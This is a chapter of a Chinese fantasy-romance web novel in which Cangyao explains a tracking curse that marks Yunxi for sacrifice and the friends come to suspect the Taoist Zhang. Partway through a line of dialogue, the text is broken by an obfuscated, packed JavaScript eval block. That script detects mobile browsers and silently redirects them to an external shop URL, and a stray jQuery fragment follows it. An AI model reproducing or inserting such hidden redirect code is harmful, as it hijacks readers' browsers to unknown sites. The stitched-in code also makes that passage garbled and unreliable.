只墨玉对众人说话的工夫,苍遥便为云溪诊了脉。
待百姓都陆续散去,墨玉道:“苍大哥,如何?”
苍遥沉默不语,沉吟良久。
云溪道:“苍大哥,我没事了。不知怎的,刚才明明很痛,现在却一点感觉都没有。”
苍遥转身向那高台而去,两指指向那盆“圣水”,一道柔和的蓝光缓缓注入水中,只见那盆圣水迅速蒸发,变为一道符咒,立时了然。
墨玉三人如看着戏法,只等着他解答。
苍遥道:“别担心,溪姑娘暂时没事。”
“暂时?”墨玉与云沐异口同声。
苍遥拿起那张符纸,解释道:“这是道寻源咒,只有命格与符咒完全匹配之人,才能触发其作用。简单来说,今天的这场集会,就是为溪姑娘准备的。”
“这话从哪说起?”墨玉满腹狐疑。
苍遥道:“这世上每个人都命格都不相同。施咒之人因为些不可言说的原因,需要找到另一人,他不知那人是谁,但知晓那人的命格,便将那人的命格注入这道符中,化成这盆水。
之后他将人都聚在一起,挨个撒水尝试,若碰到相同命格之人,便会与这盆破水产生不同的反应。
之所以说溪姑娘暂时没事,是因为寻源咒本身不会对人有伤害,但她已经被人盯上了。”
“喂,别说得这么吓人好不好?”云沐惊恐万分。
墨玉自责道:“都怪我,若不是我叫云溪上去,那几人也不会找上她……”
“公主,这可不关你的事。我只是不理解,那几人为什么要找我?”云溪不解道。
苍遥长叹一口,缓缓道:“抱歉,我也不知道。但我敢肯定不是什么好事,除非那人像我一样。”
“像你一样???”
每逢遇到苍遥,他总会说出些奇怪的东西。
苍遥不好意思道:“在我身上,便种下了一道寻源咒。”
墨玉三人惊出了声,苍遥挠挠头,不知该如何开口。
“先不说我了。溪姑娘,这里不是说话的地方,咱们先去你家如何?有些事情,我认为需要当着周大娘和卢兄的面说。”
云溪将头低下,默不作声。
云沐急道:“你想什么呢?听苍大哥的就对了!”
“听起来这么危险的事,我不想叫他们知道。”
苍遥忽心疼起眼前的姑娘,缓缓道:“溪姑娘,接下来说的话,你可要有所准备。”
“嗯!”
苍遥道:“寻源咒,其实是种邪术,正道之人绝不会用此等咒语。修道之人若执着于某种命格,去找另一个人,一定是想拿这人去做祭品,修炼更邪恶的法术……”
……
……
……
“我除外。”
三人震惊之余,仔细品读他的这句话,除对云溪的担忧外,皆明白苍遥用这咒语做了什么。
“你你你!你不会对我们公主也用这招了吧???”云沐手指着他,连退三步。
“实在抱歉。”苍遥只想找个地缝。“但是——”
“我这道符咒是种给自己的,如果……如果我遇到了与她命格相同的人,只有我自己会有反应……”
“她?”
自然是鹿九儿。
“你遇见我时,会觉得很痛么?”
墨玉想起云溪方才的模样,心疼不已。
苍遥莞尔一笑:“那倒不是,我遇见你时只会开心。”
“喂,还当着人呢!”云沐嗔道。
苍遥道:“我这道符咒设置的复杂些,具体表现形式是这样的……就是我每次遇到这样命格的人,也不一定是人,遇见之前我就会大睡七日,任谁都叫不醒的那种。之后睁眼看到的第一个人,或者是其他的什么,便是她了。如果她离开了人世,我也会如此再睡七日……”
“所以说你是因为要遇见我,才睡在了女神庙?”墨玉恍然大悟。
苍遥道:“是。遇见你的七日前,我正好在女神庙,那时突然感觉奇困,我便知你要来了,我撑起最后一丝意志,搭了吊床。”
“你可别把亵渎神灵的行为赖在我身上啊……”
待把苍遥所述消化一番,云沐道:“苍大哥,我认为你的寻源咒,非常、极其的不靠谱。”
“沐姑娘有何高见?”
云沐道:“首先,你用这样的方法,第一眼瞧见的,可能是很多东西。比如当日你一眼就瞧见了皇上、燕将军和公主三人,你怎知哪一个是你要找的人?其次,你怎知道自己睡了七天七夜?若你只睡了三天三夜,你以为自己睡了七天怎么办?最后,哪有人会随身带个吊床的……”
苍遥道:“第一个问题,我睡醒时,不会同时瞧见很多东西,每逢那个时候,我的眼睛就只能看到她。
第二个问题,我自修成长生术后,法力剧增,虽然我睡着了,但可以清晰感受到时间流逝。
至于最后一个问题……”
苍遥朝袍子里摸了摸,从怀中摸出一张渔网。
“苍某行走江湖,孤月和吊床,绝不离身。沐姑娘还有什么问题?”
“好好好。”
闲话讲完,几人又忧心忡忡地看着云溪,墨玉道:“云溪,不怕贼偷就怕贼惦记,不如你就待在宫里,我叫皇兄给你安排许多护卫。”
云溪笑道:“这样的话,岂不是都不能正常生活?”
云沐道:“就按公主说得办,先保全了性命再说。”
云溪摇摇头,缓缓道:“你们俩的心意我明白,只不过我的命格如此,想必躲也没有用。今日那几人你们也看到,连公主都不惧怕,恐怕也不是那么好对付的。”
“那你待怎样?”墨玉急切道。
云溪顿了顿,颤声道:“如果事情真如苍大哥所说的糟糕,不如就让我隐居山林?找一僻静之所住下。如此一来敌人便不容易找到我,就算找到我了,也不至于连累他人。”
“不行!”墨玉与云沐异口同声。
三人就此争论不休,墨玉哄,云沐骂,都无法动摇云溪一人归隐的决心。
半晌之后,苍遥才开口。
“感谢三位能如此信任我。依我看来,还有个法子。”
苍遥一言便止住了争论,三人一同看向苍遥,眼里都噙着泪水。
苍遥道:“溪姑娘,你只要一直跟玉儿在一起,便不会有事。”
墨玉道:“此话怎讲?”
苍遥支支吾吾道:“这个……解释起来很麻烦。总之就是溪姑娘一直和你在一起的话,就可以减少很多麻烦。”
三人想起在望月楼前,在堂审张子孚后,在今日,苍遥总是适时出现,对视一眼,充满鄙夷。
“苍大哥!我虽然敬你,但你这样,实在是有些……猥琐!”云沐鼓足勇气。
跟踪别人可不是什么良好行径!
云溪道:“这样的话,公主岂不是会更危险?”
苍遥黯然道:“不到时候,玉儿是不会有事的……”
见三人匪夷所思,又硬着头皮解释:“她贵为公主,深居皇宫,歹人自难侵入。此次送亲我也跟着,定能护你们周全。”
三人显然不信。
墨玉道:“除此之外,倒也没什么好办法,就照苍大哥说的做吧。回去我们将这事告诉皇兄,他自然会派人保护我们,只是最近不敢再私自出宫了。”
不知为何,即便她以为苍遥一直在暗处看着自己,却也不觉厌烦。
苍遥将三人送回宁贺宫,沿途时墨玉将送亲的时间都告知于他,并邀请他参加送亲前的晚宴,苍遥欣然答应。
至宁贺宫前,只见秦征站在门口,身后跟着数十人。墨玉上前道:“秦大人,已向皇兄禀报了么?”
秦征道:“回公主的话,下官已将今日情形禀报皇上,皇上命我立即带太医去为百姓诊断,并核实药方真伪。”
墨玉道:“那你快去吧。”
秦征率众太医向市集而去,精神抖擞,意气风发。
云沐没好气道:“此人这干劲,可比在县衙时强多了……”
墨玉与云溪一同笑出声,眼看夕阳渐落,又到了告别之时。
“苍大哥,你在此等我。”墨玉说罢,便小跑着进宫,苍遥与云沐、云溪一同等候。
云沐几次想质问苍遥,到底他对墨玉是什么心思,但云溪早早察觉她的想法,便以眼神示意,将她制止。
三人就在宫门外站着,也不知该说什么,颇有些尴尬。苍遥先开口道:“两位姑娘,最近我就抓紧制些能护身的灵符,你们都带在身上,说不定会有点用。”
二人一阵感激,云沐问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545946|204143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“苍大哥,关于几天那几人,你当真没一点头绪?”
苍遥道:“我现在还不太确定。总之你们日后见了和尚道士,尽量躲远些。”
云沐道:“那几人和张虚子父子有关系么?”
“为什么?”
云沐道:“我早就看张老道不顺眼!其实在我们小的时候,就和他认识。那时他第一次见公主,便嘘寒问暖,问这问那,对我和云溪理都不理,谄媚得很!”
云溪无奈道:“这倒也不能说明他和今天这几人有关系。”
云沐道:“我倒不是摆弄是非。只是方才突然想起件事。”
“什么事?”
云沐一脸正色:“云溪,你还记不记得,公主十岁那年的元宵节,咱们去做什么了?”
云溪道:“那天咱们去看灯会,放烟火,然后……”
她苦思一会,忽然道:“啊,我想起来了。放完烟火,公主便说张道长家好像就在附近,咱们去瞧瞧道士是怎么过元宵的,之后便去了竹苇巷。”
“不过是敬神女,求赐福罢了。”苍遥嗤之以鼻。
云溪道:“苍大哥,好像还不太一样。那日我们到他家门口,便见他家院中散出一抹红光,公主当时来了兴致,便偷溜人家门缝。可张道长一下子便发现了。他将门打开,笑脸相迎,我们在他家坐了一阵才走。”
苍遥显被云溪所说惊到,连忙问起:“你确定是一抹红光?”
云沐道:“确定!当时我也看到了,公主正是因为这件事,才深信张老道不一般。但我想说的不是这事!”
二人看着云沐,云沐接着道:“云溪,我们进门后,张老道说了什么你还记得吗?”
云溪苦思冥想,摇了摇头。
“他说:‘你们先坐,我去换件衣服’!”
云溪回想起当日情形,恍然大悟,冷汗直流。
三人当日进门时,张老道身着一身蓝色道袍,与今日所见的三名妖道所穿得一模一样。
苍遥听罢,点点头道:“今天这几人是太玄教的,那日张子孚被审时,他媳妇怒夺他手上柴刀,张子孚闪身的那一下,我便看出他的功夫出自太玄教。”
“这如何看出的?”
“我们虽然都是修道之人,但每个门派修炼的法门都不同。同样的法术用出来,也有不同的门道。他恐怕自己都不知道,只这一下便会露出马脚。”
二人不约而同地想到张虚子父子心怀不轨,却在墨玉身边潜伏多年,不禁一阵胆寒。
“你们在聊什么呢?”墨玉笑盈盈地向三人走来。
苍遥道:“说来话长,稍后让两位云姑娘告诉你吧。”
墨玉点点头。她怀中抱着一本厚书,正是《沧河广记》,她将书本交给苍遥,轻松道:“苍大哥,给你。”
云沐云溪对视一眼,露出一副有好戏看的神情。
苍遥满头的包。
“玉儿,这么厚一本书,我是看不动的……”
墨玉道:“我是想让你看看这页……”
她在介绍鹿九儿的那页夹了书签,一下便翻到。鹿九儿的简画突然就映入苍遥的双眸。
只见苍遥瞳仁一放,呼吸骤顿。他呆愣了好一阵,才将拇指放在书页之上,轻抚着书中鹿九儿的脸庞。
见他如此反应,云溪云沐看向墨玉,墨玉却呆呆望着苍遥。
明明只是微风,却吹得树叶沙沙作响。
“那天看书时翻到这页,当时便想拿给你看看。真想不到九儿姐姐竟这么漂亮。”
苍遥又是一顿,缓缓转头看着墨玉,只见她笑靥如花,眼神中却是说不出意味。
苍遥将头低垂,轻声道:“她是很好看的。”
“送你了,你可要好好珍惜,这是我小时候最喜欢的一本书。”
“嗯。”
墨玉将手背在身后,左右扭动着身子。
“苍大哥,天色晚了,你早些回去吧,过几天记得来参加晚宴。”
苍遥道:“好。”
“那我们走了。”说罢她便转身。云溪云沐与苍遥打了声招呼,苍遥只“嗯”一声,像颗石头般立在原地。
墨玉进宫时没注意脚下,被门槛绊了个趔趄。
“把这门槛锯了!”不知是在对谁喊叫。之后她一路小跑地去了望月楼,再没回头。